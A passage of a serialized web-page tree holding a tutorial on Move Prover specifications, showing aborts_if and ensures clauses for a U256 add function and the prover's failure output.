",{"type":20,"tag":35,"props":7955,"children":7958},{"href":7956,"rel":7957},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[39],[7959],{"type":26,"value":7960},"sources/u256.spec.move",{"type":26,"value":61},{"type":20,"tag":305,"props":7963,"children":7965},{"code":7964,"language":1359,"meta":7,"className":1360,"style":7},"spec add { ... }\n",[7966],{"type":20,"tag":119,"props":7967,"children":7968},{"__ignoreMap":7},[7969],{"type":20,"tag":315,"props":7970,"children":7971},{"class":317,"line":318},[7972,7976,7981,7986,7991],{"type":20,"tag":315,"props":7973,"children":7974},{"style":635},[7975],{"type":26,"value":6671},{"type":20,"tag":315,"props":7977,"children":7978},{"style":635},[7979],{"type":26,"value":7980}," add",{"type":20,"tag":315,"props":7982,"children":7983},{"style":328},[7984],{"type":26,"value":7985}," { ",{"type":20,"tag":315,"props":7987,"children":7988},{"style":334},[7989],{"type":26,"value":7990},"...",{"type":20,"tag":315,"props":7992,"children":7993},{"style":328},[7994],{"type":26,"value":7995}," }\n",{"type":20,"tag":29,"props":7997,"children":7998},{},[7999,8001,8006],{"type":26,"value":8000},"The specifications placed inside the specification blocks are considered ",{"type":20,"tag":55,"props":8002,"children":8003},{},[8004],{"type":26,"value":8005},"Expressions",{"type":26,"value":61},{"type":20,"tag":219,"props":8008,"children":8010},{"id":8009},"expressions",[8011],{"type":26,"value":8005},{"type":20,"tag":29,"props":8013,"children":8014},{},[8015],{"type":26,"value":8016},"Let's go over some common expressions.",{"type":20,"tag":29,"props":8018,"children":8019},{},[8020,8025],{"type":20,"tag":119,"props":8021,"children":8023},{"className":8022},[],[8024],{"type":26,"value":6721},{"type":26,"value":8026}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":20,"tag":29,"props":8028,"children":8029},{},[8030,8032,8038],{"type":26,"value":8031},"For example, the ",{"type":20,"tag":119,"props":8033,"children":8035},{"className":8034},[],[8036],{"type":26,"value":8037},"add",{"type":26,"value":8039}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":20,"tag":305,"props":8041,"children":8043},{"code":8042,"language":1359,"meta":7,"className":1360,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n a.v0 +\n a.v1 * P64 +\n a.v2 * P64 * P64 +\n a.v3 * P64 * P64 * P64\n}\n\nspec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[8044],{"type":20,"tag":119,"props":8045,"children":8046},{"__ignoreMap":7},[8047,8081,8088,8137,8159,8188,8225,8266,8273,8280,8295,8376],{"type":20,"tag":315,"props":8048,"children":8049},{"class":317,"line":318},[8050,8055,8060,8064,8068,8072,8077],{"type":20,"tag":315,"props":8051,"children":8052},{"style":541},[8053],{"type":26,"value":8054},"const",{"type":20,"tag":315,"props":8056,"children":8057},{"style":328},[8058],{"type":26,"value":8059}," P64",{"type":20,"tag":315,"props":8061,"children":8062},{"style":334},[8063],{"type":26,"value":2884},{"type":20,"tag":315,"props":8065,"children":8066},{"style":322},[8067],{"type":26,"value":7243},{"type":20,"tag":315,"props":8069,"children":8070},{"style":334},[8071],{"type":26,"value":1395},{"type":20,"tag":315,"props":8073,"children":8074},{"style":765},[8075],{"type":26,"value":8076}," 0x10000000000000000",{"type":20,"tag":315,"props":8078,"children":8079},{"style":328},[8080],{"type":26,"value":1405},{"type":20,"tag":315,"props":8082,"children":8083},{"class":317,"line":356},[8084],{"type":20,"tag":315,"props":8085,"children":8086},{"emptyLinePlaceholder":15},[8087],{"type":26,"value":427},{"type":20,"tag":315,"props":8089,"children":8090},{"class":317,"line":365},[8091,8095,8099,8104,8108,8112,8116,8120,8124,8128,8133],{"type":20,"tag":315,"props":8092,"children":8093},{"style":635},[8094],{"type":26,"value":6671},{"type":20,"tag":315,"props":8096,"children":8097},{"style":635},[8098],{"type":26,"value":4601},{"type":20,"tag":315,"props":8100,"children":8101},{"style":345},[8102],{"type":26,"value":8103}," value_of_U256",{"type":20,"tag":315,"props":8105,"children":8106},{"style":328},[8107],{"type":26,"value":1049},{"type":20,"tag":315,"props":8109,"children":8110},{"style":635},[8111],{"type":26,"value":35},{"type":20,"tag":315,"props":8113,"children":8114},{"style":334},[8115],{"type":26,"value":2884},{"type":20,"tag":315,"props":8117,"children":8118},{"style":322},[8119],{"type":26,"value":3122},{"type":20,"tag":315,"props":8121,"children":8122},{"style":328},[8123],{"type":26,"value":1509},{"type":20,"tag":315,"props":8125,"children":8126},{"style":334},[8127],{"type":26,"value":2884},{"type":20,"tag":315,"props":8129,"children":8130},{"style":635},[8131],{"type":26,"value":8132}," num",{"type":20,"tag":315,"props":8134,"children":8135},{"style":328},[8136],{"type":26,"value":1092},{"type":20,"tag":315,"props":8138,"children":8139},{"class":317,"line":374},[8140,8145,8149,8154],{"type":20,"tag":315,"props":8141,"children":8142},{"style":635},[8143],{"type":26,"value":8144}," a",{"type":20,"tag":315,"props":8146,"children":8147},{"style":334},[8148],{"type":26,"value":61},{"type":20,"tag":315,"props":8150,"children":8151},{"style":328},[8152],{"type":26,"value":8153},"v0 ",{"type":20,"tag":315,"props":8155,"children":8156},{"style":334},[8157],{"type":26,"value":8158},"+\n",{"type":20,"tag":315,"props":8160,"children":8161},{"class":317,"line":383},[8162,8166,8170,8175,8179,8183],{"type":20,"tag":315,"props":8163,"children":8164},{"style":635},[8165],{"type":26,"value":8144},{"type":20,"tag":315,"props":8167,"children":8168},{"style":334},[8169],{"type":26,"value":61},{"type":20,"tag":315,"props":8171,"children":8172},{"style":328},[8173],{"type":26,"value":8174},"v1 ",{"type":20,"tag":315,"props":8176,"children":8177},{"style":334},[8178],{"type":26,"value":901},{"type":20,"tag":315,"props":8180,"children":8181},{"style":322},[8182],{"type":26,"value":8059},{"type":20,"tag":315,"props":8184,"children":8185},{"style":334},[8186],{"type":26,"value":8187}," +\n",{"type":20,"tag":315,"props":8189,"children":8190},{"class":317,"line":407},[8191,8195,8199,8204,8208,8212,8217,8221],{"type":20,"tag":315,"props":8192,"children":8193},{"style":635},[8194],{"type":26,"value":8144},{"type":20,"tag":315,"props":8196,"children":8197},{"style":334},[8198],{"type":26,"value":61},{"type":20,"tag":315,"props":8200,"children":8201},{"style":328},[8202],{"type":26,"value":8203},"v2 ",{"type":20,"tag":315,"props":8205,"children":8206},{"style":334},[8207],{"type":26,"value":901},{"type":20,"tag":315,"props":8209,"children":8210},{"style":322},[8211],{"type":26,"value":8059},{"type":20,"tag":315,"props":8213,"children":8214},{"style":334},[8215],{"type":26,"value":8216}," *",{"type":20,"tag":315,"props":8218,"children":8219},{"style":322},[8220],{"type":26,"value":8059},{"type":20,"tag":315,"props":8222,"children":8223},{"style":334},[8224],{"type":26,"value":8187},{"type":20,"tag":315,"props":8226,"children":8227},{"class":317,"line":421},[8228,8232,8236,8241,8245,8249,8253,8257,8261],{"type":20,"tag":315,"props":8229,"children":8230},{"style":635},[8231],{"type":26,"value":8144},{"type":20,"tag":315,"props":8233,"children":8234},{"style":334},[8235],{"type":26,"value":61},{"type":20,"tag":315,"props":8237,"children":8238},{"style":328},[8239],{"type":26,"value":8240},"v3 ",{"type":20,"tag":315,"props":8242,"children":8243},{"style":334},[8244],{"type":26,"value":901},{"type":20,"tag":315,"props":8246,"children":8247},{"style":322},[8248],{"type":26,"value":8059},{"type":20,"tag":315,"props":8250,"children":8251},{"style":334},[8252],{"type":26,"value":8216},{"type":20,"tag":315,"props":8254,"children":8255},{"style":322},[8256],{"type":26,"value":8059},{"type":20,"tag":315,"props":8258,"children":8259},{"style":334},[8260],{"type":26,"value":8216},{"type":20,"tag":315,"props":8262,"children":8263},{"style":322},[8264],{"type":26,"value":8265}," P64\n",{"type":20,"tag":315,"props":8267,"children":8268},{"class":317,"line":430},[8269],{"type":20,"tag":315,"props":8270,"children":8271},{"style":328},[8272],{"type":26,"value":577},{"type":20,"tag":315,"props":8274,"children":8275},{"class":317,"line":453},[8276],{"type":20,"tag":315,"props":8277,"children":8278},{"emptyLinePlaceholder":15},[8279],{"type":26,"value":427},{"type":20,"tag":315,"props":8281,"children":8282},{"class":317,"line":486},[8283,8287,8291],{"type":20,"tag":315,"props":8284,"children":8285},{"style":635},[8286],{"type":26,"value":6671},{"type":20,"tag":315,"props":8288,"children":8289},{"style":635},[8290],{"type":26,"value":7980},{"type":20,"tag":315,"props":8292,"children":8293},{"style":328},[8294],{"type":26,"value":1092},{"type":20,"tag":315,"props":8296,"children":8297},{"class":317,"line":499},[8298,8303,8307,8311,8315,8319,8323,8327,8331,8335,8339,8344,8348,8352,8356,8360,8364,8368,8372],{"type":20,"tag":315,"props":8299,"children":8300},{"style":635},[8301],{"type":26,"value":8302}," aborts_if",{"type":20,"tag":315,"props":8304,"children":8305},{"style":345},[8306],{"type":26,"value":8103},{"type":20,"tag":315,"props":8308,"children":8309},{"style":328},[8310],{"type":26,"value":1049},{"type":20,"tag":315,"props":8312,"children":8313},{"style":635},[8314],{"type":26,"value":35},{"type":20,"tag":315,"props":8316,"children":8317},{"style":328},[8318],{"type":26,"value":1468},{"type":20,"tag":315,"props":8320,"children":8321},{"style":334},[8322],{"type":26,"value":817},{"type":20,"tag":315,"props":8324,"children":8325},{"style":345},[8326],{"type":26,"value":8103},{"type":20,"tag":315,"props":8328,"children":8329},{"style":328},[8330],{"type":26,"value":1049},{"type":20,"tag":315,"props":8332,"children":8333},{"style":635},[8334],{"type":26,"value":1604},{"type":20,"tag":315,"props":8336,"children":8337},{"style":328},[8338],{"type":26,"value":1468},{"type":20,"tag":315,"props":8340,"children":8341},{"style":334},[8342],{"type":26,"value":8343},">=",{"type":20,"tag":315,"props":8345,"children":8346},{"style":322},[8347],{"type":26,"value":8059},{"type":20,"tag":315,"props":8349,"children":8350},{"style":334},[8351],{"type":26,"value":8216},{"type":20,"tag":315,"props":8353,"children":8354},{"style":322},[8355],{"type":26,"value":8059},{"type":20,"tag":315,"props":8357,"children":8358},{"style":334},[8359],{"type":26,"value":8216},{"type":20,"tag":315,"props":8361,"children":8362},{"style":322},[8363],{"type":26,"value":8059},{"type":20,"tag":315,"props":8365,"children":8366},{"style":334},[8367],{"type":26,"value":8216},{"type":20,"tag":315,"props":8369,"children":8370},{"style":322},[8371],{"type":26,"value":8059},{"type":20,"tag":315,"props":8373,"children":8374},{"style":328},[8375],{"type":26,"value":1405},{"type":20,"tag":315,"props":8377,"children":8378},{"class":317,"line":513},[8379],{"type":20,"tag":315,"props":8380,"children":8381},{"style":328},[8382],{"type":26,"value":577},{"type":20,"tag":29,"props":8384,"children":8385},{},[8386,8388,8395],{"type":26,"value":8387},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":20,"tag":35,"props":8389,"children":8392},{"href":8390,"rel":8391},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[39],[8393],{"type":26,"value":8394},"MSL function",{"type":26,"value":8396},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":20,"tag":29,"props":8398,"children":8399},{},[8400,8402,8407,8408,8413],{"type":26,"value":8401},"A common pattern for ",{"type":20,"tag":119,"props":8403,"children":8405},{"className":8404},[],[8406],{"type":26,"value":6721},{"type":26,"value":3894},{"type":20,"tag":119,"props":8409,"children":8411},{"className":8410},[],[8412],{"type":26,"value":6729},{"type":26,"value":8414},", which lets you prove that a function will never abort.",{"type":20,"tag":305,"props":8416,"children":8418},{"code":8417,"language":1359,"meta":7,"className":1360,"style":7},"spec critical_function {\n aborts_if false;\n}\n",[8419],{"type":20,"tag":119,"props":8420,"children":8421},{"__ignoreMap":7},[8422,8438,8453],{"type":20,"tag":315,"props":8423,"children":8424},{"class":317,"line":318},[8425,8429,8434],{"type":20,"tag":315,"props":8426,"children":8427},{"style":635},[8428],{"type":26,"value":6671},{"type":20,"tag":315,"props":8430,"children":8431},{"style":635},[8432],{"type":26,"value":8433}," critical_function",{"type":20,"tag":315,"props":8435,"children":8436},{"style":328},[8437],{"type":26,"value":1092},{"type":20,"tag":315,"props":8439,"children":8440},{"class":317,"line":356},[8441,8445,8449],{"type":20,"tag":315,"props":8442,"children":8443},{"style":635},[8444],{"type":26,"value":8302},{"type":20,"tag":315,"props":8446,"children":8447},{"style":541},[8448],{"type":26,"value":7455},{"type":20,"tag":315,"props":8450,"children":8451},{"style":328},[8452],{"type":26,"value":1405},{"type":20,"tag":315,"props":8454,"children":8455},{"class":317,"line":365},[8456],{"type":20,"tag":315,"props":8457,"children":8458},{"style":328},[8459],{"type":26,"value":577},{"type":20,"tag":29,"props":8461,"children":8462},{},[8463,8465,8471],{"type":26,"value":8464},"Another type of expression that we can use is ",{"type":20,"tag":119,"props":8466,"children":8468},{"className":8467},[],[8469],{"type":26,"value":8470},"ensures",{"type":26,"value":8472},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":20,"tag":29,"props":8474,"children":8475},{},[8476,8478,8483,8485,8490],{"type":26,"value":8477},"In the case of the ",{"type":20,"tag":119,"props":8479,"children":8481},{"className":8480},[],[8482],{"type":26,"value":8037},{"type":26,"value":8484}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":20,"tag":3717,"props":8486,"children":8487},{},[8488],{"type":26,"value":8489},"MSL uses unbounded numbers",{"type":26,"value":8491},", we're able to very cleanly express this property without worrying about overflows.",{"type":20,"tag":305,"props":8493,"children":8495},{"code":8494,"language":1359,"meta":7,"className":1360,"style":7},"spec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[8496],{"type":20,"tag":119,"props":8497,"children":8498},{"__ignoreMap":7},[8499,8514,8593,8657],{"type":20,"tag":315,"props":8500,"children":8501},{"class":317,"line":318},[8502,8506,8510],{"type":20,"tag":315,"props":8503,"children":8504},{"style":635},[8505],{"type":26,"value":6671},{"type":20,"tag":315,"props":8507,"children":8508},{"style":635},[8509],{"type":26,"value":7980},{"type":20,"tag":315,"props":8511,"children":8512},{"style":328},[8513],{"type":26,"value":1092},{"type":20,"tag":315,"props":8515,"children":8516},{"class":317,"line":356},[8517,8521,8525,8529,8533,8537,8541,8545,8549,8553,8557,8561,8565,8569,8573,8577,8581,8585,8589],{"type":20,"tag":315,"props":8518,"children":8519},{"style":635},[8520],{"type":26,"value":8302},{"type":20,"tag":315,"props":8522,"children":8523},{"style":345},[8524],{"type":26,"value":8103},{"type":20,"tag":315,"props":8526,"children":8527},{"style":328},[8528],{"type":26,"value":1049},{"type":20,"tag":315,"props":8530,"children":8531},{"style":635},[8532],{"type":26,"value":35},{"type":20,"tag":315,"props":8534,"children":8535},{"style":328},[8536],{"type":26,"value":1468},{"type":20,"tag":315,"props":8538,"children":8539},{"style":334},[8540],{"type":26,"value":817},{"type":20,"tag":315,"props":8542,"children":8543},{"style":345},[8544],{"type":26,"value":8103},{"type":20,"tag":315,"props":8546,"children":8547},{"style":328},[8548],{"type":26,"value":1049},{"type":20,"tag":315,"props":8550,"children":8551},{"style":635},[8552],{"type":26,"value":1604},{"type":20,"tag":315,"props":8554,"children":8555},{"style":328},[8556],{"type":26,"value":1468},{"type":20,"tag":315,"props":8558,"children":8559},{"style":334},[8560],{"type":26,"value":8343},{"type":20,"tag":315,"props":8562,"children":8563},{"style":322},[8564],{"type":26,"value":8059},{"type":20,"tag":315,"props":8566,"children":8567},{"style":334},[8568],{"type":26,"value":8216},{"type":20,"tag":315,"props":8570,"children":8571},{"style":322},[8572],{"type":26,"value":8059},{"type":20,"tag":315,"props":8574,"children":8575},{"style":334},[8576],{"type":26,"value":8216},{"type":20,"tag":315,"props":8578,"children":8579},{"style":322},[8580],{"type":26,"value":8059},{"type":20,"tag":315,"props":8582,"children":8583},{"style":334},[8584],{"type":26,"value":8216},{"type":20,"tag":315,"props":8586,"children":8587},{"style":322},[8588],{"type":26,"value":8059},{"type":20,"tag":315,"props":8590,"children":8591},{"style":328},[8592],{"type":26,"value":1405},{"type":20,"tag":315,"props":8594,"children":8595},{"class":317,"line":365},[8596,8601,8605,8609,8613,8617,8621,8625,8629,8633,8637,8641,8645,8649,8653],{"type":20,"tag":315,"props":8597,"children":8598},{"style":635},[8599],{"type":26,"value":8600}," ensures",{"type":20,"tag":315,"props":8602,"children":8603},{"style":345},[8604],{"type":26,"value":8103},{"type":20,"tag":315,"props":8606,"children":8607},{"style":328},[8608],{"type":26,"value":1049},{"type":20,"tag":315,"props":8610,"children":8611},{"style":635},[8612],{"type":26,"value":7480},{"type":20,"tag":315,"props":8614,"children":8615},{"style":328},[8616],{"type":26,"value":1468},{"type":20,"tag":315,"props":8618,"children":8619},{"style":334},[8620],{"type":26,"value":538},{"type":20,"tag":315,"props":8622,"children":8623},{"style":345},[8624],{"type":26,"value":8103},{"type":20,"tag":315,"props":8626,"children":8627},{"style":328},[8628],{"type":26,"value":1049},{"type":20,"tag":315,"props":8630,"children":8631},{"style":635},[8632],{"type":26,"value":35},{"type":20,"tag":315,"props":8634,"children":8635},{"style":328},[8636],{"type":26,"value":1468},{"type":20,"tag":315,"props":8638,"children":8639},{"style":334},[8640],{"type":26,"value":817},{"type":20,"tag":315,"props":8642,"children":8643},{"style":345},[8644],{"type":26,"value":8103},{"type":20,"tag":315,"props":8646,"children":8647},{"style":328},[8648],{"type":26,"value":1049},{"type":20,"tag":315,"props":8650,"children":8651},{"style":635},[8652],{"type":26,"value":1604},{"type":20,"tag":315,"props":8654,"children":8655},{"style":328},[8656],{"type":26,"value":2214},{"type":20,"tag":315,"props":8658,"children":8659},{"class":317,"line":374},[8660],{"type":20,"tag":315,"props":8661,"children":8662},{"style":328},[8663],{"type":26,"value":577},{"type":20,"tag":29,"props":8665,"children":8666},{},[8667],{"type":26,"value":8668},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":20,"tag":29,"props":8670,"children":8671},{},[8672],{"type":26,"value":8673},"Let's try to prove the library with the specifications from above:",{"type":20,"tag":305,"props":8675,"children":8677},{"code":8676,"language":2637,"meta":7,"className":2638,"style":7},"$ move prove\n",[8678],{"type":20,"tag":119,"props":8679,"children":8680},{"__ignoreMap":7},[8681],{"type":20,"tag":315,"props":8682,"children":8683},{"class":317,"line":318},[8684,8689,8694],{"type":20,"tag":315,"props":8685,"children":8686},{"style":345},[8687],{"type":26,"value":8688},"$",{"type":20,"tag":315,"props":8690,"children":8691},{"style":2652},[8692],{"type":26,"value":8693}," move",{"type":20,"tag":315,"props":8695,"children":8696},{"style":2652},[8697],{"type":26,"value":8698}," prove\n",{"type":20,"tag":29,"props":8700,"children":8701},{},[8702],{"type":26,"value":8703},"It outputs the following error information:",{"type":20,"tag":305,"props":8705,"children":8707},{"code":8706,"language":2637,"meta":7,"className":2638,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭ spec add {\n| aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n| ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n| }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n carry = 54\n i = 3792\n ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[8708],{"type":20,"tag":119,"props":8709,"children":8710},{"__ignoreMap":7},[8711,8719,8726,8788,8809,8899,8967,8979,8987,8994,9001,9008,9026,9087,9104,9121,9193,9209,9217,9224,9274,9281,9298],{"type":20,"tag":315,"props":8712,"children":8713},{"class":317,"line":318},[8714],{"type":20,"tag":315,"props":8715,"children":8716},{"style":328},[8717],{"type":26,"value":8718},"[...]\n",{"type":20,"tag":315,"props":8720,"children":8721},{"class":317,"line":356},[8722],{"type":20,"tag":315,"props":8723,"children":8724},{"emptyLinePlaceholder":15},[8725],{"type":26,"value":427},{"type":20,"tag":315,"props":8727,"children":8728},{"class":317,"line":365},[8729,8734,8739,8744,8749,8754,8759,8764,8769,8774,8778,8783],{"type":20,"tag":315,"props":8730,"children":8731},{"style":345},[8732],{"type":26,"value":8733},"error:",{"type":20,"tag":315,"props":8735,"children":8736},{"style":2652},[8737],{"type":26,"value":8738}," abort",{"type":20,"tag":315,"props":8740,"children":8741},{"style":2652},[8742],{"type":26,"value":8743}," not",{"type":20,"tag":315,"props":8745,"children":8746},{"style":2652},[8747],{"type":26,"value":8748}," covered",{"type":20,"tag":315,"props":8750,"children":8751},{"style":2652},[8752],{"type":26,"value":8753}," by",{"type":20,"tag":315,"props":8755,"children":8756},{"style":2652},[8757],{"type":26,"value":8758}," any",{"type":20,"tag":315,"props":8760,"children":8761},{"style":2652},[8762],{"type":26,"value":8763}," of",{"type":20,"tag":315,"props":8765,"children":8766},{"style":2652},[8767],{"type":26,"value":8768}," the",{"type":20,"tag":315,"props":8770,"children":8771},{"style":2652},[8772],{"type":26,"value":8773}," `",{"type":20,"tag":315,"props":8775,"children":8776},{"style":345},[8777],{"type":26,"value":6721},{"type":20,"tag":315,"props":8779,"children":8780},{"style":2652},[8781],{"type":26,"value":8782},"`",{"type":20,"tag":315,"props":8784,"children":8785},{"style":345},[8786],{"type":26,"value":8787}," clauses\n",{"type":20,"tag":315,"props":8789,"children":8790},{"class":317,"line":374},[8791,8796,8801,8805],{"type":20,"tag":315,"props":8792,"children":8793},{"style":345},[8794],{"type":26,"value":8795},"╭",{"type":20,"tag":315,"props":8797,"children":8798},{"style":2652},[8799],{"type":26,"value":8800}," spec",{"type":20,"tag":315,"props":8802,"children":8803},{"style":2652},[8804],{"type":26,"value":7980},{"type":20,"tag":315,"props":8806,"children":8807},{"style":2652},[8808],{"type":26,"value":1092},{"type":20,"tag":315,"props":8810,"children":8811},{"class":317,"line":383},[8812,8817,8822,8826,8830,8834,8838,8842,8846,8850,8854,8858,8863,8867,8871,8875,8879,8883,8887,8891,8895],{"type":20,"tag":315,"props":8813,"children":8814},{"style":334},[8815],{"type":26,"value":8816},"|",{"type":20,"tag":315,"props":8818,"children":8819},{"style":345},[8820],{"type":26,"value":8821}," aborts_if",{"type":20,"tag":315,"props":8823,"children":8824},{"style":2652},[8825],{"type":26,"value":8103},{"type":20,"tag":315,"props":8827,"children":8828},{"style":328},[8829],{"type":26,"value":1049},{"type":20,"tag":315,"props":8831,"children":8832},{"style":345},[8833],{"type":26,"value":35},{"type":20,"tag":315,"props":8835,"children":8836},{"style":328},[8837],{"type":26,"value":1468},{"type":20,"tag":315,"props":8839,"children":8840},{"style":2652},[8841],{"type":26,"value":817},{"type":20,"tag":315,"props":8843,"children":8844},{"style":2652},[8845],{"type":26,"value":8103},{"type":20,"tag":315,"props":8847,"children":8848},{"style":328},[8849],{"type":26,"value":1049},{"type":20,"tag":315,"props":8851,"children":8852},{"style":345},[8853],{"type":26,"value":1604},{"type":20,"tag":315,"props":8855,"children":8856},{"style":328},[8857],{"type":26,"value":1468},{"type":20,"tag":315,"props":8859,"children":8860},{"style":334},[8861],{"type":26,"value":8862},">",{"type":20,"tag":315,"props":8864,"children":8865},{"style":2652},[8866],{"type":26,"value":337},{"type":20,"tag":315,"props":8868,"children":8869},{"style":2652},[8870],{"type":26,"value":8059},{"type":20,"tag":315,"props":8872,"children":8873},{"style":541},[8874],{"type":26,"value":8216},{"type":20,"tag":315,"props":8876,"children":8877},{"style":2652},[8878],{"type":26,"value":8059},{"type":20,"tag":315,"props":8880,"children":8881},{"style":541},[8882],{"type":26,"value":8216},{"type":20,"tag":315,"props":8884,"children":8885},{"style":2652},[8886],{"type":26,"value":8059},{"type":20,"tag":315,"props":8888,"children":8889},{"style":541},[8890],{"type":26,"value":8216},{"type":20,"tag":315,"props":8892,"children":8893},{"style":2652},[8894],{"type":26,"value":8059},{"type":20,"tag":315,"props":8896,"children":8897},{"style":328},[8898],{"type":26,"value":1405},{"type":20,"tag":315,"props":8900,"children":8901},{"class":317,"line":407},[8902,8906,8911,8915,8919,8923,8927,8931,8935,8939,8943,8947,8951,8955,8959,8963],{"type":20,"tag":315,"props":8903,"children":8904},{"style":334},[8905],{"type":26,"value":8816},{"type":20,"tag":315,"props":8907,"children":8908},{"style":345},[8909],{"type":26,"value":8910}," ensures",{"type":20,"tag":315,"props":8912,"children":8913},{"style":2652},[8914],{"type":26,"value":8103},{"type":20,"tag":315,"props":8916,"children":8917},{"style":328},[8918],{"type":26,"value":1049},{"type":20,"tag":315,"props":8920,"children":8921},{"style":345},[8922],{"type":26,"value":7480},{"type":20,"tag":315,"props":8924,"children":8925},{"style":328},[8926],{"type":26,"value":1468},{"type":20,"tag":315,"props":8928,"children":8929},{"style":2652},[8930],{"type":26,"value":538},{"type":20,"tag":315,"props":8932,"children":8933},{"style":2652},[8934],{"type":26,"value":8103},{"type":20,"tag":315,"props":8936,"children":8937},{"style":328},[8938],{"type":26,"value":1049},{"type":20,"tag":315,"props":8940,"children":8941},{"style":345},[8942],{"type":26,"value":35},{"type":20,"tag":315,"props":8944,"children":8945},{"style":328},[8946],{"type":26,"value":1468},{"type":20,"tag":315,"props":8948,"children":8949},{"style":2652},[8950],{"type":26,"value":817},{"type":20,"tag":315,"props":8952,"children":8953},{"style":2652},[8954],{"type":26,"value":8103},{"type":20,"tag":315,"props":8956,"children":8957},{"style":328},[8958],{"type":26,"value":1049},{"type":20,"tag":315,"props":8960,"children":8961},{"style":345},[8962],{"type":26,"value":1604},{"type":20,"tag":315,"props":8964,"children":8965},{"style":328},[8966],{"type":26,"value":2214},{"type":20,"tag":315,"props":8968,"children":8969},{"class":317,"line":421},[8970,8974],{"type":20,"tag":315,"props":8971,"children":8972},{"style":334},[8973],{"type":26,"value":8816},{"type":20,"tag":315,"props":8975,"children":8976},{"style":328},[8977],{"type":26,"value":8978}," }\n",{"type":20,"tag":315,"props":8980,"children":8981},{"class":317,"line":430},[8982],{"type":20,"tag":315,"props":8983,"children":8984},{"style":345},[8985],{"type":26,"value":8986},"╰─────^\n",{"type":20,"tag":315,"props":8988,"children":8989},{"class":317,"line":453},[8990],{"type":20,"tag":315,"props":8991,"children":8992},{"emptyLinePlaceholder":15},[8993],{"type":26,"value":427},{"type":20,"tag":315,"props":8995,"children":8996},{"class":317,"line":486},[8997],{"type":20,"tag":315,"props":8998,"children":8999},{"style":328},[9000],{"type":26,"value":8718},{"type":20,"tag":315,"props":9002,"children":9003},{"class":317,"line":499},[9004],{"type":20,"tag":315,"props":9005,"children":9006},{"emptyLinePlaceholder":15},[9007],{"type":26,"value":427},{"type":20,"tag":315,"props":9009,"children":9010},{"class":317,"line":513},[9011,9016,9021],{"type":20,"tag":315,"props":9012,"children":9013},{"style":345},[9014],{"type":26,"value":9015}," at",{"type":20,"tag":315,"props":9017,"children":9018},{"style":2652},[9019],{"type":26,"value":9020}," ./sources/u256.move:316:",{"type":20,"tag":315,"props":9022,"children":9023},{"style":2652},[9024],{"type":26,"value":9025}," add\n",{"type":20,"tag":315,"props":9027,"children":9028},{"class":317,"line":521},[9029,9034,9039,9044,9048,9053,9057,9062,9067,9072,9077,9082],{"type":20,"tag":315,"props":9030,"children":9031},{"style":345},[9032],{"type":26,"value":9033}," enter",{"type":20,"tag":315,"props":9035,"children":9036},{"style":2652},[9037],{"type":26,"value":9038}," loop,",{"type":20,"tag":315,"props":9040,"children":9041},{"style":2652},[9042],{"type":26,"value":9043}," variable",{"type":20,"tag":315,"props":9045,"children":9046},{"style":328},[9047],{"type":26,"value":1049},{"type":20,"tag":315,"props":9049,"children":9050},{"style":345},[9051],{"type":26,"value":9052},"s",{"type":20,"tag":315,"props":9054,"children":9055},{"style":328},[9056],{"type":26,"value":1468},{"type":20,"tag":315,"props":9058,"children":9059},{"style":2652},[9060],{"type":26,"value":9061},"carry,",{"type":20,"tag":315,"props":9063,"children":9064},{"style":2652},[9065],{"type":26,"value":9066}," i,",{"type":20,"tag":315,"props":9068,"children":9069},{"style":2652},[9070],{"type":26,"value":9071}," ret",{"type":20,"tag":315,"props":9073,"children":9074},{"style":2652},[9075],{"type":26,"value":9076}," havocked",{"type":20,"tag":315,"props":9078,"children":9079},{"style":2652},[9080],{"type":26,"value":9081}," and",{"type":20,"tag":315,"props":9083,"children":9084},{"style":2652},[9085],{"type":26,"value":9086}," reassigned\n",{"type":20,"tag":315,"props":9088,"children":9089},{"class":317,"line":552},[9090,9095,9099],{"type":20,"tag":315,"props":9091,"children":9092},{"style":345},[9093],{"type":26,"value":9094}," carry",{"type":20,"tag":315,"props":9096,"children":9097},{"style":2652},[9098],{"type":26,"value":1395},{"type":20,"tag":315,"props":9100,"children":9101},{"style":765},[9102],{"type":26,"value":9103}," 54\n",{"type":20,"tag":315,"props":9105,"children":9106},{"class":317,"line":571},[9107,9112,9116],{"type":20,"tag":315,"props":9108,"children":9109},{"style":345},[9110],{"type":26,"value":9111}," i",{"type":20,"tag":315,"props":9113,"children":9114},{"style":2652},[9115],{"type":26,"value":1395},{"type":20,"tag":315,"props":9117,"children":9118},{"style":765},[9119],{"type":26,"value":9120}," 3792\n",{"type":20,"tag":315,"props":9122,"children":9123},{"class":317,"line":2031},[9124,9129,9133,9138,9142,9147,9152,9156,9161,9166,9170,9175,9180,9184,9189],{"type":20,"tag":315,"props":9125,"children":9126},{"style":345},[9127],{"type":26,"value":9128}," 